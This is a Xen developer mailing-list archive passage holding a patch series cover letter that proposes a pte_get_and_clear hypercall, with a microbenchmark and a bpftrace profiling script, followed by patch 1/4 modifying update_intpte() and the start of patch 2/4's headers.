X-MS-TrafficTypeDiagnostic: BY1PR03MB7996:EE_|SN7PR03MB7120:EE_
X-MS-Office365-Filtering-Correlation-Id: 4e479039-43ca-4f71-fbf4-08deebf0697a
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|366016|1800799024|23010399003|18002099003|10067099003|11063799006|56012099006;
X-Microsoft-Antispam-Message-Info:
	cbj5mRDmMfEhfc7GdHVoUPlrcLUgWg7qI+x4xD4Rg+CMyCbZyr2QFVCLM45R/+4nrTT+OXj+qZyJsi6z43b+D+t9GHWZJmS+5BKzsKvr59P3lY50yXM0vUUIs5LHV9AaJVwWH1Vun+gFe/UWetPkGLy3+WDkZJZ9r99zTkGI/sVD2RPrq0vp6J0ox1nAMBdNg35ECggZ1ju3LnKGq0BpBf9eY/c5Zrytupxle+FFuI3oyzGxy0F1ai0CkHqM07V8oDrVD/k9Bn/O+8F8gUuZ6x6OI4C9MCXIMeYiGGDgEF3sxalgcuEWvBP0I7j9x4JB9cX5Dt0IV43lhyYiYkFXv0p5gYSrqYy29rDMTGQxOv4yFaVze1y+93mKYzAx8ZfjLB1gul9Qi6IHyLxiuPA4J/pkIw62hG5FBZPOkxO34b6qV3Owgjs6YJJ3CYVCE6T1oqqCXH51SdUEqT0lPeT7ub+efvLgL3vj5D4/n/5Msyvgnz58yj9WrJ1GudRmbEAhCdYQZd5ABUoq+DDEL3/s+yRCjIYvv21z2Dlxy7ne/Yv19RMuNTGITRfXAZsDBv2pMl0powlL9bGYRIz3+HeHla+CyhJuPlNwP9yonz7TeeZyKxAVzollFBGqGj0SYBgx2Kl0rhCncH1z+mP6HUuglkSuFvDG7PWZNJ7frDVdy/4=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:BY1PR03MB7996.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(366016)(1800799024)(23010399003)(18002099003)(10067099003)(11063799006)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?p2vK6LdkePVyNzcLXEBwb7WoN2ouwistNWs/4n+bazOicU2rf/VLnQT9RfDF?=
 =?us-ascii?Q?iiDLi7a3lT4fwnPdO6PPcZ9JvgxudIVfBoTTpmelYTyYAImjvnw5T+1EZd1t?=
 =?us-ascii?Q?E798zLd2Su7tsTl4BSagRvZxEgCV7NFtOEf3cmGxSODfPQztisr3xblxjtnr?=
 =?us-ascii?Q?R46NOZPcLtrYAON30Vlva1XExnGEHOc2U6CkThjzER5pSLh2HQJHPLialVMq?=
 =?us-ascii?Q?hrAxYqmOz85nn4S868yWZLUKKIMsOZ+bdTZtv73INlt9mV9OhKUsDMOefX7b?=
 =?us-ascii?Q?DKPHcCeAMBwFwQsUPNlaZkNrXCoXj9t4XNnx48wmhjJLyWYKaMi0LQxjkugb?=
 =?us-ascii?Q?qjXAQOq19B1+PJnO5c1+9n0mRVN+1dKk7NzezhTVuadpC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?Q?FYnuGsOM/tkxTTg9aN61MaiijHfYRHqj3+QLTKv+Xw783HsZFBWDW+dq4Nzt?=
 =?us-ascii?Q?d6gnSsfj5FQc0sLIZ+8SAscwqgjMPJYH4dAJLgdiVonNw3RBAho1pLS0NHFJ?=
 =?us-ascii?Q?0veCAqPOC/in3w5M85YOROw9nn5KkZfBf2xvWWpytPSzJUJuxSpNMMIS2Zef?=
 =?us-ascii?Q?Yk5BJW7wtIOYoFeXH5JU7koBfDONnmdkl42/lUpJbaVBMvli0XzQEFRD5VcX?=
 =?us-ascii?Q?uGpxq0GxKy12bmnlk19jlSKVLWVk4uHQCWFeHMP5yiIHcHaO73v5jHLT5mkP?=
 =?us-ascii?Q?NPevca1uQTSm0UZsxqfoCCIzqYV9JkuAqenztCUcEKD5e881KsjLUjijHqWB?=
 =?us-ascii?Q?hvh882lBt6o4oh431rhC/0FcVoZb+nANOW8PNK9gsoHw8dVnDkFksN8om6oX?=
 =?us-ascii?Q?v7nPuiQNej7ZcHF3D6XxJs1s8R7OpcW43tWz8o6ZQqlByhRGOeX5J+ReBADR?=
 =?us-ascii?Q?KSahB5bzsw=3D=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 4e479039-43ca-4f71-fbf4-08deebf0697a
X-MS-Exchange-CrossTenant-AuthSource: BY1PR03MB7996.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 27 Jul 2026 15:04:52.8551
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: jnKY/uYctsAyjgEXcbulh5Kuu0whYUxzOs6YSjqBMxVe3lt+hQsDMfiWhm1zK8sjZkx5mu2k6EbIWvn1+P5zgw==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SN7PR03MB7120
X-purgate-ID: tlsNG-ebf023/1785164697-587C6B50-F9D81FF1/0/0
X-purgate-type: clean
X-purgate-size: 2879

Previous discussion:
RFC: unmap_page_range optimisation (avoiding emulation faults during VM migration)
https://lore.kernel.org/xen-devel/16133EFF-88FF-467F-B78F-E96EB148C3A5@citrix.com/

This series adds a new pte_get_and_clear hypercall which Linux can use
to significantly improve the performance of unmap_page_range.

The new hypercall reuses existing code from do_mmu_update, mod_l1_entry
and update_intpte but is careful not to impact performance of the
non-pte-get-and-clear code paths.

A microbenchmark[1] which allocates a large number of pages and then clears
them shows a performance increase from 1100ms to 700ms using the
new pte_get_and_clear hypercall.

Further profiling the microbenchmark with bpftrace[2] shows that Linux calls
unmap_page_range() 23 times with an average execution time of 50ms
dropping to 30ms when using the new hypercall.

[1] microbenchmark
#include <err.h>
#include <sys/mman.h>
#include <time.h>
#include <stdint.h>
#include <stdio.h>
#include <unistd.h>

static uint64_t nsec(void)
{
    struct timespec ts;
    clock_gettime(CLOCK_MONOTONIC, &ts);
    return (uint64_t)ts.tv_sec * 1e9 + ts.tv_nsec;
}

int main(int argc, char **argv)
{
    const size_t len = 1024UL * 1024 * 1024 * 4;
    const long pagesz = sysconf(_SC_PAGESIZE);

    char *p = mmap(NULL, len,
                   PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS,
                   -1, 0);
    if ( p == MAP_FAILED )
        err(1, "mmap");

    /* Fault every page in */
    for (size_t i = 0; i < len; i += pagesz)
        p[i] = 1;

    uint64_t start = nsec();

    if ( madvise(p, len, MADV_DONTNEED) )
        err(1, "madvise");

    uint64_t end = nsec();

    printf("MADV_DONTNEED on %zu MB took %.3f ms\n",
           len / 1024 / 1024,
           (end - start) / 1e6);

    munmap(p, len);
    return 0;
}

[2] bpftrace
bpftrace -e '
kprobe:unmap_page_range
/comm == "a.out"/
{
    @start[tid] = nsecs;
}

kretprobe:unmap_page_range
/@start[tid] && comm == "a.out"/
{
    $delta = nsecs - @start[tid];
    @count = count();
    @total = sum($delta);
    delete(@start[tid]);
}

interval:s:10
{
    printf("avg call time = %d ns (%d calls)\n",
           (@total / @count), (uint64)@count);
    exit();
}'

Kevin Lampis (4):
  x86: extend update_intpte() to support atomic get-and-update
  x86: extend mod_l1_entry() to optionally return the old PTE value
  x86: extend do_mmu_update() to support returning the old PTE value
  x86: add new pte_get_and_clear hypercall

 xen/arch/x86/mm.c            | 106 +++++++++++++++++++++++++++++------
 xen/arch/x86/pv/mm.h         |  29 ++++++----
 xen/include/hypercall-defs.c |   2 +
 xen/include/public/xen.h     |   1 +
 4 files changed, 109 insertions(+), 29 deletions(-)

-- 
2.52.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 27 15:05:09 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 15:05:09 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371722.1619199 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woMtB-0003k4-IL; Mon, 27 Jul 2026 15:05:09 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371722.1619199; Mon, 27 Jul 2026 15:05:09 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woMtB-0003jx-FB; Mon, 27 Jul 2026 15:05:09 +0000
Received: by outflank-mailman (input) for mailman id 1371722;
 Mon, 27 Jul 2026 15:05:08 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <kevin.lampis@citrix.com>) id 1woMtA-0003j5-2r
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 15:05:08 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woMt9-0007da-4M
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 17:05:07 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <kevin.lampis@citrix.com>)
 id 6a677391-bab6-0a2a0a5309dd-0a2a450c9d60-36
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 17:05:07 +0200
Received: from [52.101.43.51]
 (helo=SJ2PR03CU001.outbound.protection.outlook.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <kevin.lampis@citrix.com>)
 id 6a6773a1-f479-0a2a450c0019-34652b331083-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 17:05:06 +0200
Received: from BY1PR03MB7996.namprd03.prod.outlook.com (2603:10b6:a03:5b2::8)
 by SN7PR03MB7120.namprd03.prod.outlook.com (2603:10b6:806:350::18)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.13; Mon, 27 Jul
 2026 15:05:01 +0000
Received: from BY1PR03MB7996.namprd03.prod.outlook.com
 ([fe80::5068:e1b5:b478:8d07]) by BY1PR03MB7996.namprd03.prod.outlook.com
 ([fe80::5068:e1b5:b478:8d07%3]) with mapi id 15.21.0245.012; Mon, 27 Jul 2026
 15:05:01 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=s4tjOl0fuwL4QXfG77SGdFqTyJvcudTtQb6zd+gTLM+fCUBRx+Y83oMeQXundQkVFkBu/CUUO5LKCE9/IHj2h/1CPEklRVmK4eqjmEbSqkceUp3yXY8tYMzv8hpe3EvEu0QMiKSp/Xr3c0LwNMcXGxApuhoBMFEd+2eoF8W5VfV4KIMf591LQ10EI39qC5IjPdPik+nq3VT4+oV274YFOrl8ihTJG9TUrGNEsP7Sc3cjIh9W3u4Jl+ESiBgHDWoCQ58MHta/n9qIU72oIgNdqizByhkKLzDOaSmF9rR/nZn8gWsxCYRBZm7C4dzLFkbOEHMs/grNg1bwQH2oXZ09pA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=fNm1nuNO+XAb5R8ex77Fpi902ddh3pTIX6BDJO1AGYQ=;
 b=x+qgBUvGiKrpjtKDtImvr7f6hccMBj8Es45OtKhIS5cUbCPAcAyz4L0ZqlH+FmxZmGfzoqIUi1jTW3vFSKfOnXs9w/gRNhuk/j0GO1ryBhegB/HcYbn2HYgrZYS0hRXp1Uq3UjRDssxBXGHGNOOVFEJKVwC8FoA6grE/wH6HVnx0awVhOzHYi2ymsT04iJdYaSs0/E73CSnk+RklVa9wSJP8YdYAYrzvq1iyxq07YpZUo1Z7s41NkhmR1qoReNNMa8d6lZerynGZ/H1Vc9b30kLMMm4FRVp8h0g5Z2QlQkhIxuY9RPVRYQyl0ly+UPkJu66TcTxJQ1geaK5d/P4G4w==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=fNm1nuNO+XAb5R8ex77Fpi902ddh3pTIX6BDJO1AGYQ=;
 b=q+XS17bOWzPD5Vcd6eNsj/ql8NfCRbwtmU8/tvNnh7XzJBxTkIaYuVOSqdsxCMZZhVqLznZi9noG+nMrdUoi3OLcDohNAotETFUBRQayrHTml+w0WMQUrqrkKYQ4im3bF7LGvcu2WD6VKoOGYTKli4cJWpUV9aFVHTCDVYQhEHQ=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
From: Kevin Lampis <kevin.lampis@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: jbeulich@suse.com,
	andrew.cooper3@citrix.com,
	roger.pau@citrix.com,
	Kevin Lampis <kevin.lampis@citrix.com>
Subject: [PATCH 1/4] x86: extend update_intpte() to support atomic get-and-update
Date: Mon, 27 Jul 2026 16:06:12 +0100
Message-ID: <20260727150615.1373200-2-kevin.lampis@citrix.com>
X-Mailer: git-send-email 2.52.0
In-Reply-To: <20260727150615.1373200-1-kevin.lampis@citrix.com>
References: <20260727150615.1373200-1-kevin.lampis@citrix.com>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: LO2P265CA0481.GBRP265.PROD.OUTLOOK.COM
 (2603:10a6:600:13a::6) To BY1PR03MB7996.namprd03.prod.outlook.com
 (2603:10b6:a03:5b2::8)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: BY1PR03MB7996:EE_|SN7PR03MB7120:EE_
X-MS-Office365-Filtering-Correlation-Id: 2c2671ac-a520-4252-20dc-08deebf06e45
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|366016|1800799024|23010399003|22082099003|18002099003|10067099003|11063799006|56012099006;
X-Microsoft-Antispam-Message-Info:
	6oZknuTh5TKI6CbdPirRfYI6v0CIWCnWOo8QaEFPRe42qwZ0bun1Vsuj17GXT2Q5ghKwK+6LkgFk3BIv3irciHxH9p7OZxk8foloR+BHnGIVpA+cjYD8EoXAS1hwKcFynjuHxCJZR7VSDVbFH65FEMfe7wID/1hrmb6WznPQai9uJS0tfh9m0nZ3tUp89Ti5Uwo+6yu7geNeZVXmVpTGT1f+5d2ee8OoOTbmElUV8ONUDXvDwq9GK0BXF5XP402Phq0++/Yih3d7koS1inmFPtyGdVtbepLAXm/lfVTvGqAEBOoevpB0xnuQPnBbz8JN6bLioR/L224Q9lhj3ynjh94B8+2GSQg/SaxJrrIQVpopR1ZvYoCAHMMH9eN4ZNya4KdJMA1PEcdRH0kWtMXfn9tAnlmv1ZmAY0YrXipWzqst/9O2IkiBhpi7NN29A7UYbyISDmpCPzSPoIB84Z3/azmZSMpkgmOy+1WwQiOlyaq9L07a94fhVzclM5wFU1RHrZ9WEnL6pUsXYCZVbi0wvI5Wc/hT+OP9WiytcKTQht70F89XpmlypUty3GC4S+/aN/XlJzqvAEeaehCgRPgSOuVI0OC4VDvvelJDnBou5aQ/1UbwL1DqFDzOVWJ6T78jSuOIZbDeHrxl+sa0atIhvmb3k/IKQlWlPQ8bq9yQwd4=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:BY1PR03MB7996.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(366016)(1800799024)(23010399003)(22082099003)(18002099003)(10067099003)(11063799006)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-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z3eDXS/hW?=
 =?us-ascii?Q?50q5OTqJ8QLllHArLZsks1wRde8TIi+BVoRPv+kkSnlxFQ6hJthCyPeD90Aq?=
 =?us-ascii?Q?zXKRdwaBew=3D=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 2c2671ac-a520-4252-20dc-08deebf06e45
X-MS-Exchange-CrossTenant-AuthSource: BY1PR03MB7996.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 27 Jul 2026 15:05:00.9987
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: MOIBwg46vDqDvJbzYSxEjFAGo6W4SPaRHrEBa3BWSB4j/+cnOHJ5ImAi47q+6vpicklOYewXmNTxAwaiSkxoCQ==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SN7PR03MB7120
X-purgate-ID: tlsNG-d25034/1785164707-02ADCA5B-1556DC4B/0/0
X-purgate-type: clean
X-purgate-size: 3101

The update_intpte() function now accepts a new use_cmpxchg flag and if set
returns the old pte value through the new *old pointer.

No functional change for existing callers.

Signed-off-by: Kevin Lampis <kevin.lampis@citrix.com>
---
 xen/arch/x86/pv/mm.h | 29 ++++++++++++++++++-----------
 1 file changed, 18 insertions(+), 11 deletions(-)

diff --git a/xen/arch/x86/pv/mm.h b/xen/arch/x86/pv/mm.h
index 4564cab9fc0f..8c42cf3b3f4d 100644
--- a/xen/arch/x86/pv/mm.h
+++ b/xen/arch/x86/pv/mm.h
@@ -66,13 +66,14 @@ static inline intpte_t paging_cmpxchg_guest_entry(
  * How to write an entry to the guest pagetables.
  * Returns false for failure (pointer not valid), true for success.
  */
-static inline bool update_intpte(intpte_t *p, intpte_t old, intpte_t new,
-                                 mfn_t mfn, struct vcpu *v, bool preserve_ad)
+static inline bool update_intpte(intpte_t *p, intpte_t *old, intpte_t new,
+                                 mfn_t mfn, struct vcpu *v, bool preserve_ad,
+                                 bool use_cmpxchg)
 {
     bool rv = true;
 
 #ifndef PTE_UPDATE_WITH_CMPXCHG
-    if ( !preserve_ad )
+    if ( !preserve_ad && !use_cmpxchg )
         paging_write_guest_entry(v, p, new, mfn);
     else
 #endif
@@ -82,30 +83,36 @@ static inline bool update_intpte(intpte_t *p, intpte_t old, intpte_t new,
             intpte_t _new = new, t;
 
             if ( preserve_ad )
-                _new |= old & (_PAGE_ACCESSED | _PAGE_DIRTY);
+                _new |= *old & (_PAGE_ACCESSED | _PAGE_DIRTY);
 
-            t = paging_cmpxchg_guest_entry(v, p, old, _new, mfn);
+            t = paging_cmpxchg_guest_entry(v, p, *old, _new, mfn);
 
-            if ( t == old )
+            if ( t == *old )
                 break;
 
             /* Allowed to change in Accessed/Dirty flags only. */
-            BUG_ON((t ^ old) & ~(intpte_t)(_PAGE_ACCESSED|_PAGE_DIRTY));
+            BUG_ON((t ^ *old) & ~(intpte_t)(_PAGE_ACCESSED|_PAGE_DIRTY));
 
-            old = t;
+            *old = t;
         }
     }
     return rv;
 }
 
+static inline bool _update_intpte(intpte_t *p, intpte_t old, intpte_t new,
+                                  mfn_t mfn, struct vcpu *v, bool preserve_ad)
+{
+    return update_intpte(p, &old, new, mfn, v, preserve_ad, false);
+}
+
 /*
  * Macro that wraps the appropriate type-changes around update_intpte().
  * Arguments are: type, ptr, old, new, mfn, vcpu
  */
 #define UPDATE_ENTRY(_t,_p,_o,_n,_m,_v,_ad)                         \
-    update_intpte(&_t ## e_get_intpte(*(_p)),                       \
-                  _t ## e_get_intpte(_o), _t ## e_get_intpte(_n),   \
-                  (_m), (_v), (_ad))
+    _update_intpte(&_t ## e_get_intpte(*(_p)),                      \
+                   _t ## e_get_intpte(_o), _t ## e_get_intpte(_n),  \
+                   (_m), (_v), (_ad))
 
 static always_inline l1_pgentry_t adjust_guest_l1e(l1_pgentry_t l1e,
                                                    const struct domain *d)
-- 
2.52.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 27 15:05:11 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 15:05:11 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371723.1619208 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woMtD-0003yU-PA; Mon, 27 Jul 2026 15:05:11 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371723.1619208; Mon, 27 Jul 2026 15:05:11 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woMtD-0003yL-M5; Mon, 27 Jul 2026 15:05:11 +0000
Received: by outflank-mailman (input) for mailman id 1371723;
 Mon, 27 Jul 2026 15:05:10 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <kevin.lampis@citrix.com>) id 1woMtC-0003uT-Hn
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 15:05:10 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woMtB-0007da-UJ
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 17:05:09 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <kevin.lampis@citrix.com>)
 id 6a6773a4-bab6-0a2a0a5309dd-0a2a450ce3a8-10
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 17:05:09 +0200
Received: from [40.93.196.34]
 (helo=SA9PR02CU001.outbound.protection.outlook.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <kevin.lampis@citrix.com>)
 id 6a6773a4-f479-0a2a450c0019-285dc422c431-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 17:05:09 +0200
Received: from BY1PR03MB7996.namprd03.prod.outlook.com (2603:10b6:a03:5b2::8)
 by SN7PR03MB7120.namprd03.prod.outlook.com (2603:10b6:806:350::18)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.13; Mon, 27 Jul
 2026 15:05:07 +0000
Received: from BY1PR03MB7996.namprd03.prod.outlook.com
 ([fe80::5068:e1b5:b478:8d07]) by BY1PR03MB7996.namprd03.prod.outlook.com
 ([fe80::5068:e1b5:b478:8d07%3]) with mapi id 15.21.0245.012; Mon, 27 Jul 2026
 15:05:06 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=OIBat6jkRD+tnlX2AS6BP6Ij/dSAGdwfzQFa8MkKu3mFPx0lQ/nfHKEFL24tMQIQfYNvhTOMVIhUHisWTxOHNOnAefmR2m5gMsBJIfUe+2p1F1xrPHrB1lESnReexeH7s8W5cTn+GnawJ39P5KSFp7E3H98dayE2Ui/Pt4HYygblbYsqFwYU+hUgIn8xF/2fsSBMmQrWYNCxqq5/I99Yl2XoaFwXKIZwPoLaHM/oEzEZPkgMNi4Fy/1ge8Kxd7gdwp048rqXEHwoysOVAwlVRydFcF9aDpc0oymI+TFD4Ed+hmvpVBWuAR1vXjkWVn9wh4TdvjFEZRce0kprprRNpA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=PaSZ+4Bh6/Qv4PdxxpQxW+d/eMMp06pD/qD0eGNft/o=;
 b=ucJuljTARHb9Oz5Ea7A+u5G+wXOR7epVSRJB9ZhoHMtibelq9CDJstoVHomSnpu78pkjgPvCgkW2GGId1mUlhlIrJWTVZPW2ZYvflixFVRGb+4Oio/omfVbJWCQUA5sWjLfu6saQ/bGhLcdtQHD8eC/oHLGz3nufuxRvo8yk9c5FkY4aVkXOFmP8fcPLuFEvkNYtZO2YpnmUGXGTurbT2X4mPhY+kA0I0PWGzxhOismK4PSqc4rKHQrZRiG71pEQHcKUyUMFiYPlPJXrxmLvCTFkapdvNJ1pRhRuMQaLdjg1SMaka1vCtUX8LwmleWQNOyi7xkmBaPp3e7ugPkSSrA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=PaSZ+4Bh6/Qv4PdxxpQxW+d/eMMp06pD/qD0eGNft/o=;
 b=Km6Bo/WLvPMleGOHGgB55YgCzP/KX6U2Gjv0b8j5UulCnZNc7nQdVNk/GqBJOGXMkQeizPXQGVQPR2avNzPe0Rl8Zaeqkvqa9DeDRGiEhMmt/Gf6Wmz7PhbfnaRaWjYQ9FffaH5nGIbtSJPchDPc7WbPjflYPB4f5/bKQLULeLA=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
From: Kevin Lampis <kevin.lampis@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: jbeulich@suse.com,
	andrew.cooper3@citrix.com,
	roger.pau@citrix.com,
	Kevin Lampis <kevin.lampis@citrix.com>
Subject: [PATCH 2/4] x86: extend mod_l1_entry() to optionally return the old PTE value
Date: Mon, 27 Jul 2026 16:06:13 +0100
Message-ID: <20260727150615.1373200-3-kevin.lampis@citrix.com>
X-Mailer: git-send-email 2.52.0
In-Reply-To: <20260727150615.1373200-1-kevin.lampis@citrix.com>
References: <20260727150615.1373200-1-kevin.lampis@citrix.com>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: LO4P123CA0322.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:197::21) To BY1PR03MB7996.namprd03.prod.outlook.com
 (2603:10b6:a03:5b2::8)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: BY1PR03MB7996:EE_|SN7PR03MB7120:EE_
X-MS-Office365-Filtering-Correlation-Id: 8555dcac-cdd5-49fc-4d42-08deebf071db
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|366016|1800799024|23010399003|22082099003|18002099003|10067099003|11063799006|56012099006;
X-Microsoft-Antispam-Message-Info:
